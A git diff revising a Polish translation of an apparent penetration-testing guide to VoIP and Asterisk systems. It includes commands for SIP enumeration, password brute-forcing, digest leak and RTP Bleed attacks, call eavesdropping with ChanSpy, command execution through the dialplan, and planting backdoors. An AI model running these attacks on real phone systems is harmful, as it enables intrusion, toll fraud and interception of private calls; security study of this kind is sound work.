+Na koniec, aby wyodrębnić **adresy e-mail** z danych, używa się **polecenia grep** z wyrażeniem regularnym, koncentrując się na wzorcach, które pasują do formatów e-mail:
 ```bash
 grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
 ```
diff --git a/src/network-services-pentesting/pentesting-voip/README.md b/src/network-services-pentesting/pentesting-voip/README.md
index 894247f25..767e38fe3 100644
--- a/src/network-services-pentesting/pentesting-voip/README.md
+++ b/src/network-services-pentesting/pentesting-voip/README.md
@@ -3,7 +3,7 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 
-## VoIP Podstawowe Informacje
+## Podstawowe informacje o VoIP
 
 Aby rozpocząć naukę o tym, jak działa VoIP, sprawdź:
 
@@ -11,7 +11,7 @@ Aby rozpocząć naukę o tym, jak działa VoIP, sprawdź:
 basic-voip-protocols/
 {{#endref}}
 
-## Podstawowe Wiadomości
+## Podstawowe wiadomości
 ```
 Request name	Description								RFC references
 ------------------------------------------------------------------------------------------------------
@@ -32,7 +32,7 @@ OPTIONS		Query the capabilities of an endpoint					RFC 3261
 ```
 ## Kody Odpowiedzi
 
-**1xx—Odpowiedzi Proszące**
+**1xx—Odpowiedzi Provisionalne**
 ```
 100 Trying
 180 Ringing
@@ -47,7 +47,7 @@ OPTIONS		Query the capabilities of an endpoint					RFC 3261
 202 Accepted
 204 No Notification
 ```
-**3xx—Odpowiedzi przekierowujące**
+**3xx—Odpowiedzi Przekierowujące**
 ```
 300 Multiple Choices
 301 Moved Permanently
@@ -129,7 +129,7 @@ OPTIONS		Query the capabilities of an endpoint					RFC 3261
 ```
 ## VoIP Enumeration
 
-### Numery telefonów
+### Numery Telefonów
 
 Jednym z pierwszych kroków, które może podjąć Red Team, jest wyszukiwanie dostępnych numerów telefonów, aby skontaktować się z firmą, korzystając z narzędzi OSINT, wyszukiwania w Google lub skanowania stron internetowych.
 
@@ -140,7 +140,7 @@ Gdy masz numery telefonów, możesz skorzystać z usług online, aby zidentyfiko
 - [https://www.whitepages.com/](https://www.whitepages.com/)
 - [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
 
-Wiedząc, czy operator oferuje usługi VoIP, możesz zidentyfikować, czy firma korzysta z VoIP... Co więcej, możliwe, że firma nie zatrudniła usług VoIP, ale używa kart PSTN, aby połączyć swoją własną centralę VoIP z tradycyjną siecią telefoniczną.
+Znając operatora, który świadczy usługi VoIP, możesz zidentyfikować, czy firma korzysta z VoIP... Co więcej, możliwe, że firma nie zatrudniła usług VoIP, ale używa kart PSTN, aby połączyć swoją własną centralę VoIP z tradycyjną siecią telefoniczną.
 
 Rzeczy takie jak automatyczne odpowiedzi z muzyką zazwyczaj wskazują, że używane jest VoIP.
 
@@ -208,7 +208,7 @@ sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
 auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
 auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)
 ```
-#### Dodatkowe enumeracje sieciowe
+#### Dodatkowa enumeracja sieci
 
 PBX może również udostępniać inne usługi sieciowe, takie jak:
 
@@ -217,7 +217,7 @@ PBX może również udostępniać inne usługi sieciowe, takie jak:
 - **389 (LDAP)**: Alternatywa do przechowywania informacji o użytkownikach
 - **3306 (MySQL)**: Baza danych MySQL
 - **5038 (Manager)**: Umożliwia korzystanie z Asteriska z innych platform
-- **5222 (XMPP)**: Wiadomości za pomocą Jabbera
+- **5222 (XMPP)**: Wiadomości za pomocą Jabber
 - **5432 (PostgreSQL)**: Baza danych PostgreSQL
 - I inne...
 
@@ -229,7 +229,7 @@ sippts enumerate -i 10.10.0.10
 ```
 ### Analizowanie odpowiedzi serwera
 
-Bardzo ważne jest, aby analizować nagłówki, które serwer wysyła z powrotem do nas, w zależności od rodzaju wiadomości i nagłówków, które wysyłamy. Z `SIPPTS send` z [**sippts**](https://github.com/Pepelux/sippts) możemy wysyłać spersonalizowane wiadomości, manipulując wszystkimi nagłówkami, i analizować odpowiedź.
+Bardzo ważne jest, aby analizować nagłówki, które serwer do nas wysyła, w zależności od rodzaju wiadomości i nagłówków, które wysyłamy. Z `SIPPTS send` z [**sippts**](https://github.com/Pepelux/sippts) możemy wysyłać spersonalizowane wiadomości, manipulując wszystkimi nagłówkami, i analizować odpowiedź.
 ```bash
 sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
 ```
@@ -254,16 +254,16 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200
 auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
 auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
 ```
-- **`enumiax` (`apt install enumiax`): enumIAX** to enumerator **brute-force nazw użytkowników** protokołu Inter Asterisk Exchange. enumIAX może działać w dwóch odrębnych trybach: sekwencyjne zgadywanie nazw użytkowników lub atak słownikowy.
+- **`enumiax` (`apt install enumiax`): enumIAX** to protokół Inter Asterisk Exchange **do enumeracji nazw użytkowników metodą brute-force**. enumIAX może działać w dwóch odrębnych trybach: Sekwencyjne Zgadywanie Nazw Użytkowników lub Atak Słownikowy.
 ```bash
 enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
 enumiax -v -m3 -M3 10.10.0.10
 ```
 ## Ataki VoIP
 
-### Atak Brute-Force na hasło - online
+### Atak Brute-Force na hasła - online
 
-Po odkryciu **PBX** i kilku **rozszerzeń/nazw użytkowników**, Zespół Czerwony może spróbować **uwierzytelnić się za pomocą metody `REGISTER`** do rozszerzenia, używając słownika powszechnych haseł, aby przeprowadzić atak brute force na uwierzytelnienie.
+Po odkryciu **PBX** i kilku **rozszerzeń/nazw użytkowników**, Zespół Czerwony może spróbować **uwierzytelnić się za pomocą metody `REGISTER`** do rozszerzenia, używając słownika powszechnych haseł do przeprowadzenia ataku brute force na uwierzytelnienie.
 
 > [!CAUTION]
 > Zauważ, że **nazwa użytkownika** może być taka sama jak rozszerzenie, ale ta praktyka może się różnić w zależności od systemu PBX, jego konfiguracji i preferencji organizacji...
@@ -285,7 +285,7 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
 
 ### VoIP Sniffing
 
-Jeśli znajdziesz sprzęt VoIP w **otwartej sieci WiFi**, możesz **przechwycić wszystkie informacje**. Co więcej, jeśli jesteś w bardziej zamkniętej sieci (połączonej przez Ethernet lub chronionej WiFi), możesz przeprowadzić **ataki MitM, takie jak** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) między **PBX a bramą**, aby przechwycić informacje.
+Jeśli znajdziesz sprzęt VoIP w **otwartej sieci Wifi**, możesz **przechwycić wszystkie informacje**. Co więcej, jeśli jesteś w bardziej zamkniętej sieci (połączonej przez Ethernet lub chronioną Wifi), możesz przeprowadzić **ataki MitM, takie jak** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) między **PBX a bramą**, aby przechwycić informacje.
 
 Wśród informacji sieciowych możesz znaleźć **dane logowania do zarządzania sprzętem**, **numery wewnętrzne** użytkowników, **nazwy użytkowników**, **adresy IP**, a nawet **zhardcodowane hasła** i **pakiety RTP**, które możesz odtworzyć, aby **usłyszeć rozmowę**, i więcej.
 
@@ -295,16 +295,16 @@ Aby uzyskać te informacje, możesz użyć narzędzi takich jak Wireshark, tcpdu
 > Zauważ, że jeśli **TLS jest używany w komunikacji SIP**, nie będziesz w stanie zobaczyć komunikacji SIP w czystym tekście.\
 > To samo stanie się, jeśli używane są **SRTP** i **ZRTP**, **pakiety RTP nie będą w czystym tekście**.
 
-#### Poświadczenia SIP (Brute-Force hasła - offline)
+#### SIP credentials (Password Brute-Force - offline)
 
-[Sprawdź ten przykład, aby lepiej zrozumieć **komunikację SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example), aby dowiedzieć się, jak **są wysyłane poświadczenia**.
+[Sprawdź ten przykład, aby lepiej zrozumieć **komunikację SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example), aby dowiedzieć się, jak **dane logowania są wysyłane**.
 
-- **`sipdump`** i **`sipcrack`**, część **sipcrack** (`apt-get install sipcrack`): Te narzędzia mogą **wyodrębnić** z **pcap** **uwierzytelnienia digest** w protokole SIP i **przeprowadzić brute-force**.
+- **`sipdump`** i **`sipcrack`,** część **sipcrack** (`apt-get install sipcrack`): Te narzędzia mogą **wyodrębnić** z **pcap** **uwierzytelnienia digest** w protokole SIP i **przeprowadzić atak brute-force**.
 ```bash
 sipdump -p net-capture.pcap sip-creds.txt
 sipcrack sip-creds.txt -w dict.txt
 ```
-- **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump może wyodrębnić uwierzytelnienia digest z pliku pcap.
+- **`SIPPTS dump`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump może wyodrębnić uwierzytelnienia digest z pliku pcap.
 ```bash
 sippts dump -f capture.pcap -o data.txt
 ```
@@ -330,7 +330,7 @@ W Asterisku możliwe jest zezwolenie na połączenie **z konkretnego adresu IP**
 host=10.10.10.10
 host=dynamic
 ```
-Jeśli adres IP jest określony, host **nie będzie musiał wysyłać żądań REGISTER** co jakiś czas (w pakiecie REGISTER wysyłany jest czas życia, zazwyczaj 30 minut, co oznacza, że w innym scenariuszu telefon będzie musiał REJESTROWAĆ się co 30 minut). Jednakże, będzie musiał mieć otwarte porty umożliwiające połączenia z serwerem VoIP, aby odbierać połączenia.
+Jeśli adres IP jest określony, host **nie będzie musiał wysyłać żądań REGISTER** co jakiś czas (w pakiecie REGISTER wysyłany jest czas życia, zazwyczaj 30 minut, co oznacza, że w innym scenariuszu telefon będzie musiał REJESTROWAĆ się co 30 minut). Jednak będzie musiał mieć otwarte porty umożliwiające połączenia z serwerem VoIP, aby odbierać połączenia.
 
 Aby zdefiniować użytkowników, można ich zdefiniować jako:
 
@@ -352,9 +352,9 @@ Możliwe jest również nawiązanie zaufania za pomocą zmiennej insecure:
 > `insecure=port,invite`\
 > `type=friend`
 
-### Darmowe Połączenia / Błędy Konfiguracji Kontekstu Asteriska
+### Darmowe Połączenia / Błędy Konfiguracji Kontekstów Asteriska
 
-W Asterisku **kontekst** to nazwany kontener lub sekcja w planie numeracyjnym, która **grupuje powiązane rozszerzenia, akcje i zasady**. Plan numeracyjny jest kluczowym komponentem systemu Asterisk, ponieważ definiuje **jak są obsługiwane i kierowane połączenia przychodzące i wychodzące**. Konteksty są używane do organizacji planu numeracyjnego, zarządzania kontrolą dostępu i zapewnienia separacji między różnymi częściami systemu.
+W Asterisku **kontekst** to nazwany kontener lub sekcja w planie numeracyjnym, która **grupuje powiązane rozszerzenia, akcje i zasady**. Plan numeracyjny jest kluczowym elementem systemu Asterisk, ponieważ definiuje **jak są obsługiwane i kierowane połączenia przychodzące i wychodzące**. Konteksty są używane do organizacji planu numeracyjnego, zarządzania kontrolą dostępu i zapewnienia separacji między różnymi częściami systemu.
 
 Każdy kontekst jest definiowany w pliku konfiguracyjnym, zazwyczaj w pliku **`extensions.conf`**. Konteksty są oznaczane nawiasami kwadratowymi, a nazwa kontekstu jest umieszczona w ich wnętrzu. Na przykład:
 ```bash
@@ -369,7 +369,7 @@ exten => 100,n,Hangup()
 ```
 Ten przykład demonstruje prosty kontekst o nazwie "my_context" z rozszerzeniem "100". Gdy ktoś wybierze 100, połączenie zostanie odebrane, zostanie odtworzona wiadomość powitalna, a następnie połączenie zostanie zakończone.
 
-To jest **inny kontekst**, który pozwala na **wybieranie dowolnego innego numeru**:
+To jest **inny kontekst**, który pozwala na **wywołanie dowolnego innego numeru**:
 ```scss
 [external]
 exten => _X.,1,Dial(SIP/trunk/${EXTEN})
@@ -388,7 +388,7 @@ include => external
 
 - **`SIPPTS invite`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite sprawdza, czy **serwer PBX pozwala nam na wykonywanie połączeń bez autoryzacji**. Jeśli serwer SIP ma nieprawidłową konfigurację, pozwoli nam na wykonywanie połączeń do numerów zewnętrznych. Może również pozwolić na przekazanie połączenia do drugiego numeru zewnętrznego.
 
-Na przykład, jeśli twój serwer Asterisk ma złą konfigurację kontekstu, możesz zaakceptować żądanie INVITE bez autoryzacji. W takim przypadku atakujący może wykonywać połączenia, nie znając żadnego użytkownika/hasła.
+Na przykład, jeśli Twój serwer Asterisk ma złą konfigurację kontekstu, możesz zaakceptować żądanie INVITE bez autoryzacji. W takim przypadku atakujący może wykonywać połączenia, nie znając żadnego użytkownika/hasła.
 ```bash
 # Trying to make a call to the number 555555555 (without auth) with source number 200.
 sippts invite -i  10.10.0.10 -fu 200 -tu 555555555 -v
@@ -404,7 +404,7 @@ IVRS w systemach VoIP zazwyczaj składa się z:
 
 1. **Podpowiedzi głosowe**: Wstępnie nagrane wiadomości audio, które prowadzą użytkowników przez opcje menu IVR i instrukcje.
 2. **DTMF** (Dual-Tone Multi-Frequency) signaling: Tones dotykowe generowane przez naciśnięcie klawiszy na telefonie, które są używane do nawigacji po menu IVR i dostarczania danych.
-3. **Kierowanie połączeń**: Kierowanie połączeń do odpowiedniego celu, takiego jak konkretne działy, agenci lub numery wewnętrzne na podstawie danych od użytkownika.
+3. **Kierowanie połączeń**: Kierowanie połączeń do odpowiedniego miejsca docelowego, takiego jak konkretne działy, agenci lub numery wewnętrzne na podstawie danych wprowadzonych przez użytkownika.
 4. **Zbieranie danych od użytkowników**: Zbieranie informacji od dzwoniących, takich jak numery kont, identyfikatory spraw lub inne istotne dane.
 5. **Integracja z systemami zewnętrznymi**: Łączenie systemu IVR z bazami danych lub innymi systemami oprogramowania w celu uzyskania lub aktualizacji informacji, wykonywania działań lub wyzwalania zdarzeń.
 
@@ -431,27 +431,27 @@ Gdzie **`${EXTEN}`** to **numer wewnętrzny**, który będzie wywoływany, gdy *
 ```scss
 exten => 101,1,Dial(SIP/101)
 ```
-Jednakże, jeśli **`${EXTEN}`** pozwala na wprowadzenie **więcej niż cyfr** (jak w starszych wersjach Asteriska), atakujący mógłby wprowadzić **`101&SIP123123123`**, aby zadzwonić na numer telefonu 123123123. A oto byłby wynik:
+Jednakże, jeśli **`${EXTEN}`** pozwala na wprowadzenie **więcej niż tylko cyfr** (jak w starszych wersjach Asteriska), atakujący mógłby wprowadzić **`101&SIP123123123`**, aby zadzwonić pod numer telefonu 123123123. A oto wynik:
 ```scss
 exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
 ```
-Dlatego połączenie do numeru wewnętrznego **`101`** i **`123123123`** zostanie wysłane, a tylko pierwsze z nich nawiąże połączenie... ale jeśli atakujący użyje **numeru wewnętrznego, który omija jakiekolwiek dopasowanie**, które jest wykonywane, ale nie istnieje, mógłby **wstrzyknąć połączenie tylko do pożądanego numeru**.
+Zatem połączenie do rozszerzenia **`101`** i **`123123123`** zostanie wysłane, a tylko pierwsze z nich nawiąże połączenie... ale jeśli atakujący użyje **rozszerzenia, które omija jakiekolwiek dopasowanie**, które jest wykonywane, ale nie istnieje, może **wstrzyknąć połączenie tylko do pożądanego numeru**.
 
-## Luka w SIPDigestLeak
+## Wrażliwość SIPDigestLeak
 
-Luka SIP Digest Leak to podatność, która dotyczy dużej liczby telefonów SIP, w tym zarówno sprzętowych, jak i programowych telefonów IP oraz adapterów telefonicznych (VoIP na analogowe). Luka ta pozwala na **wyciek odpowiedzi na uwierzytelnienie Digest**, która jest obliczana na podstawie hasła. Możliwy jest **atak offline na hasło**, który może odzyskać większość haseł na podstawie odpowiedzi na wyzwanie.
+Wrażliwość SIP Digest Leak dotyczy dużej liczby telefonów SIP, w tym zarówno sprzętowych, jak i programowych telefonów IP oraz adapterów telefonicznych (VoIP na analogowe). Wrażliwość ta pozwala na **wyciek odpowiedzi na uwierzytelnienie Digest**, która jest obliczana na podstawie hasła. Możliwy jest **atak offline na hasło**, który może odzyskać większość haseł na podstawie odpowiedzi na wyzwanie.
 
-**[Scenariusz podatności stąd**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
+**[Scenariusz wrażliwości stąd**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
 
 1. Telefon IP (ofiara) nasłuchuje na dowolnym porcie (na przykład: 5060), akceptując połączenia telefoniczne
 2. Atakujący wysyła INVITE do telefonu IP
 3. Telefon ofiary zaczyna dzwonić, a ktoś odbiera i odkłada słuchawkę (ponieważ nikt nie odpowiada na telefon po drugiej stronie)
 4. Gdy telefon zostaje odłożony, **telefon ofiary wysyła BYE do atakującego**
 5. **Atakujący wydaje odpowiedź 407**, która **prosi o uwierzytelnienie** i wydaje wyzwanie uwierzytelniające
-6. **Telefon ofiary podaje odpowiedź na wyzwanie uwierzytelniające** w drugim BYE
+6. **Telefon ofiary dostarcza odpowiedź na wyzwanie uwierzytelniające** w drugim BYE
 7. **Atakujący może następnie przeprowadzić atak brute-force** na odpowiedzi na wyzwanie na swoim lokalnym komputerze (lub w rozproszonej sieci itp.) i odgadnąć hasło
 
-- **Wyciek SIPPTS** z [**sippts**](https://github.com/Pepelux/sippts)**:** Wyciek SIPPTS wykorzystuje lukę SIP Digest Leak, która dotyczy dużej liczby telefonów SIP. Wynik można zapisać w formacie SipCrack, aby przeprowadzić atak brute-force za pomocą SIPPTS dcrack lub narzędzia SipCrack.
+- **Wyciek SIPPTS** z [**sippts**](https://github.com/Pepelux/sippts)**:** Wyciek SIPPTS wykorzystuje wrażliwość SIP Digest Leak, która dotyczy dużej liczby telefonów SIP. Wynik można zapisać w formacie SipCrack, aby przeprowadzić atak brute-force za pomocą SIPPTS dcrack lub narzędzia SipCrack.
 ```bash
 sippts leak -i 10.10.0.10
 
@@ -474,7 +474,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
 ```
 ### Click2Call
 
-Click2Call pozwala **użytkownikowi sieci** (który na przykład może być zainteresowany produktem) na **podanie** swojego **numeru telefonu**, aby otrzymać połączenie. Następnie zostanie wykonane połączenie do agenta, a gdy **odbierze telefon**, użytkownik zostanie **połączony z agentem**.
+Click2Call pozwala **użytkownikowi sieciowemu** (który na przykład może być zainteresowany produktem) **wprowadzić** swój **numer telefonu**, aby otrzymać połączenie. Następnie zostanie wykonane połączenie do agenta, a gdy **odbierze telefon**, użytkownik zostanie **połączony z agentem**.
 
 Typowy profil Asterisk dla tego to:
 ```scss
@@ -489,20 +489,20 @@ write = system,call,agent,user,config,command,reporting,originate
 - Poprzedni profil pozwala na **połączenie z DOWOLNYM adresem IP** (jeśli hasło jest znane).
 - Aby **zorganizować połączenie**, jak wcześniej określono, **nie są potrzebne uprawnienia do odczytu** i **tylko** **originate** w **zapisie** jest wymagane.
 
-Dzięki tym uprawnieniom każdy adres IP znający hasło mógłby się połączyć i wydobyć zbyt wiele informacji, takich jak:
+Z tymi uprawnieniami każdy adres IP znający hasło mógłby się połączyć i wydobyć zbyt wiele informacji, takich jak:
 ```bash
 # Get all the peers
 exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
 ```
-**Więcej informacji lub działań może być wymagane.**
+**Więcej informacji lub działań może być wymaganych.**
 
 ### **Podsłuchiwanie**
 
 W Asterisku możliwe jest użycie polecenia **`ChanSpy`**, wskazując **numer(y) wewnętrzny(e) do monitorowania** (lub wszystkie), aby słyszeć rozmowy, które się odbywają. To polecenie musi być przypisane do numeru wewnętrznego.
 
-Na przykład, **`exten => 333,1,ChanSpy('all',qb)`** wskazuje, że jeśli **zadzwonisz** na **numer wewnętrzny 333**, będzie **monitorować** **`wszystkie`** numery wewnętrzne, **rozpoczynając nasłuchiwanie** za każdym razem, gdy rozpocznie się nowa rozmowa (**`b`**) w trybie cichym (**`q`**), ponieważ nie chcemy w to ingerować. Możesz przechodzić z jednej rozmowy do drugiej, naciskając **`*`**, lub wybierając numer wewnętrzny.
+Na przykład, **`exten => 333,1,ChanSpy('all',qb)`** wskazuje, że jeśli **zadzwonisz** na **numer wewnętrzny 333**, będzie **monitorować** **`wszystkie`** numery wewnętrzne, **rozpoczynając nasłuchiwanie** za każdym razem, gdy rozpocznie się nowa rozmowa (**`b`**) w trybie cichym (**`q`**), ponieważ nie chcemy w nią ingerować. Możesz przechodzić z jednej rozmowy do drugiej, naciskając **`*`** lub wpisując numer wewnętrzny.
 
-Możliwe jest również użycie **`ExtenSpy`**, aby monitorować tylko jeden numer wewnętrzny.
+Możliwe jest również użycie **`ExtenSpy`** do monitorowania tylko jednego numeru wewnętrznego.
 
 Zamiast słuchać rozmów, możliwe jest **nagrywanie ich w plikach** przy użyciu numeru wewnętrznego, takiego jak:
 ```scss
@@ -516,27 +516,27 @@ Możesz również sprawić, że Asterisk **wykona skrypt, który ujawni połącz
 ```scss
 exten => h,1,System(/tmp/leak_conv.sh &)
 ```
-### RTCPBleed vulnerability
+### Wrażliwość RTCPBleed
 
-**RTCPBleed** to poważny problem bezpieczeństwa wpływający na serwery VoIP oparte na Asterisk (opublikowany w 2017 roku). Wrażliwość ta pozwala na **przechwytywanie i przekierowywanie ruchu **RTP (Real Time Protocol)**, który przenosi rozmowy VoIP, przez **każdego w Internecie**. Dzieje się tak, ponieważ ruch RTP omija uwierzytelnianie podczas przechodzenia przez zapory NAT (Network Address Translation).
+**RTCPBleed** to poważny problem bezpieczeństwa dotyczący serwerów VoIP opartych na Asterisk (opublikowany w 2017 roku). Wrażliwość ta pozwala na **przechwytywanie i przekierowywanie ruchu **RTP (Real Time Protocol)**, który przenosi rozmowy VoIP, przez każdego w Internecie**. Dzieje się tak, ponieważ ruch RTP omija uwierzytelnianie podczas przechodzenia przez zapory NAT (Network Address Translation).
 
-Proxysy RTP próbują rozwiązać **ograniczenia NAT** wpływające na systemy RTC, proxyzując strumienie RTP między dwiema lub więcej stronami. Gdy NAT jest w użyciu, oprogramowanie proxy RTP często nie może polegać na informacjach o IP i porcie RTP uzyskanych przez sygnalizację (np. SIP). Dlatego wiele proxy RTP wdrożyło mechanizm, w którym taki **tuplet IP i port jest uczony automatycznie**. Często odbywa się to poprzez inspekcję przychodzącego ruchu RTP i oznaczanie źródłowego IP i portu dla wszelkiego przychodzącego ruchu RTP jako tego, na który należy odpowiedzieć. Ten mechanizm, który może być nazywany "trybem uczenia się", **nie wykorzystuje żadnego rodzaju uwierzytelniania**. Dlatego **atakujący** mogą **wysyłać ruch RTP do proxy RTP** i otrzymywać proxowany ruch RTP przeznaczony dla dzwoniącego lub odbierającego w trwającym strumieniu RTP. Nazywamy tę podatność RTP Bleed, ponieważ pozwala ona atakującym na odbieranie strumieni mediów RTP przeznaczonych dla legalnych użytkowników.
+Proxysy RTP próbują rozwiązać **ograniczenia NAT** wpływające na systemy RTC, proxyzując strumienie RTP pomiędzy dwiema lub więcej stronami. Gdy NAT jest w użyciu, oprogramowanie proxy RTP często nie może polegać na informacjach o IP i porcie RTP uzyskanych przez sygnalizację (np. SIP). Dlatego wiele proxy RTP wdrożyło mechanizm, w którym taki **tuplet IP i port jest uczony automatycznie**. Często odbywa się to poprzez inspekcję przychodzącego ruchu RTP i oznaczanie źródłowego IP i portu dla wszelkiego przychodzącego ruchu RTP jako tego, na który należy odpowiedzieć. Ten mechanizm, który może być nazywany "trybem uczenia się", **nie wykorzystuje żadnego rodzaju uwierzytelniania**. Dlatego **atakujący** mogą **wysyłać ruch RTP do proxy RTP** i otrzymywać proxowany ruch RTP przeznaczony dla dzwoniącego lub odbierającego w trwającym strumieniu RTP. Nazywamy tę wrażliwość RTP Bleed, ponieważ pozwala atakującym na odbieranie strumieni mediów RTP przeznaczonych dla legalnych użytkowników.
 
-Innym interesującym zachowaniem proxy RTP i stosów RTP jest to, że czasami, **nawet jeśli nie są podatne na RTP Bleed**, będą **akceptować, przekazywać i/lub przetwarzać pakiety RTP z dowolnego źródła**. Dlatego atakujący mogą wysyłać pakiety RTP, co może pozwolić im na wstrzyknięcie swojego medium zamiast legalnego. Nazywamy ten atak wstrzyknięciem RTP, ponieważ pozwala on na wstrzyknięcie nielegalnych pakietów RTP do istniejących strumieni RTP. Ta podatność może występować zarówno w proxy RTP, jak i w punktach końcowych.
+Innym interesującym zachowaniem proxy RTP i stosów RTP jest to, że czasami, **nawet jeśli nie są podatne na RTP Bleed**, będą **akceptować, przekazywać i/lub przetwarzać pakiety RTP z dowolnego źródła**. Dlatego atakujący mogą wysyłać pakiety RTP, co może pozwolić im na wstrzyknięcie swojego medium zamiast legalnego. Nazywamy ten atak wstrzyknięciem RTP, ponieważ pozwala na wstrzyknięcie nielegalnych pakietów RTP do istniejących strumieni RTP. Ta wrażliwość może występować zarówno w proxy RTP, jak i punktach końcowych.
 
-Asterisk i FreePBX tradycyjnie używały ustawienia **`NAT=yes`**, które umożliwia ruchowi RTP omijanie uwierzytelniania, co potencjalnie prowadzi do braku dźwięku lub dźwięku jednokierunkowego w połączeniach.
+Asterisk i FreePBX tradycyjnie używały ustawienia **`NAT=yes`**, które umożliwia ruchowi RTP omijanie uwierzytelniania, co potencjalnie prowadzi do braku dźwięku lub dźwięku jednostronnego w połączeniach.
 
 Aby uzyskać więcej informacji, sprawdź [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
 
-- **`SIPPTS rtpbleed`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed wykrywa podatność RTP Bleed, wysyłając strumienie RTP.
+- **`SIPPTS rtpbleed`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed wykrywa wrażliwość RTP Bleed, wysyłając strumienie RTP.
 ```bash
 sippts rtpbleed -i 10.10.0.10
 ```
-- **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed wykrywa podatność RTP Bleed, wysyłając strumienie RTCP.
+- **`SIPPTS rtcpbleed`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed wykrywa podatność RTP Bleed, wysyłając strumienie RTCP.
 ```bash
 sippts rtcpbleed -i 10.10.0.10
 ```
-- **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood wykorzystuje lukę RTP Bleed, wysyłając strumienie RTP.
+- **`SIPPTS rtpbleedflood`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood wykorzystuje lukę RTP Bleed, wysyłając strumienie RTP.
 ```bash
 sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
 ```
@@ -550,51 +550,51 @@ W Asterisku w jakiś sposób udaje ci się **dodać reguły rozszerzeń i je prz
 ```scss
 same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
 ```
-There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
+Istnieje polecenie zwane **`Shell`**, które można użyć **zamiast `System`**, aby wykonać polecenia systemowe, jeśli zajdzie taka potrzeba.
 
 > [!WARNING]
-> If the server is **zabrania używania niektórych znaków** w poleceniu **`System`** (jak w Elastix), sprawdź, czy serwer WWW pozwala na **tworzenie plików w systemie** (jak w Elastix lub trixbox), i użyj tego do **utworzenia skryptu backdoor**, a następnie użyj **`System`** do **wykonania** tego **skryptu**.
+> Jeśli serwer **nie zezwala na użycie niektórych znaków** w poleceniu **`System`** (jak w Elastix), sprawdź, czy serwer WWW pozwala na **tworzenie plików w systemie** (jak w Elastix lub trixbox) i użyj tego, aby **utworzyć skrypt backdoor**, a następnie użyj **`System`**, aby **wykonać** ten **skrypt**.
 
-#### Interesting local files and permissions
+#### Ciekawe lokalne pliki i uprawnienia
 
 - **`sip.conf`** -> Zawiera hasło użytkowników SIP.
-- If the **serwer Asterisk działa jako root**, możesz skompromitować root
-- **mysql root user** might **nie mieć hasła**.
-- this could be used to create a new mysql user as backdoor
+- Jeśli **serwer Asterisk działa jako root**, możesz skompromitować root.
+- **użytkownik root mysql** może **nie mieć hasła**.
+- to może być użyte do stworzenia nowego użytkownika mysql jako backdoor.
 - **`FreePBX`**
-- **`amportal.conf`** -> Zawiera hasło administratora panelu webowego (FreePBX)
-- **`FreePBX.conf`** -> Zawiera hasło użytkownika FreePBXuser używanego do uzyskania dostępu do bazy danych
-- this could be used to create a new mysql user as backdoor
+- **`amportal.conf`** -> Zawiera hasło administratora panelu webowego (FreePBX).
+- **`FreePBX.conf`** -> Zawiera hasło użytkownika FreePBXuser używanego do uzyskania dostępu do bazy danych.
+- to może być użyte do stworzenia nowego użytkownika mysql jako backdoor.
 - **`Elastix`**
-- **`Elastix.conf`** -> Zawiera kilka haseł w czystym tekście, takich jak hasło root mysql, hasło IMAPd, hasło administratora webowego
-- **Kilka folderów** będzie należało do skompromitowanego użytkownika asterisk (jeśli nie działa jako root). Użytkownik ten może odczytać poprzednie pliki i kontroluje konfigurację, więc może sprawić, że Asterisk załaduje inne skompromitowane binaria podczas wykonywania.
+- **`Elastix.conf`** -> Zawiera kilka haseł w czystym tekście, takich jak hasło root mysql, hasło IMAPd, hasło administratora webowego.
+- **Kilka folderów** będzie należało do skompromitowanego użytkownika asterisk (jeśli nie działa jako root). Użytkownik ten może odczytać poprzednie pliki i kontroluje konfigurację, więc może sprawić, że Asterisk załaduje inne zainfekowane binaria podczas wykonywania.
 
-### RTP Injection
+### Wstrzykiwanie RTP
 
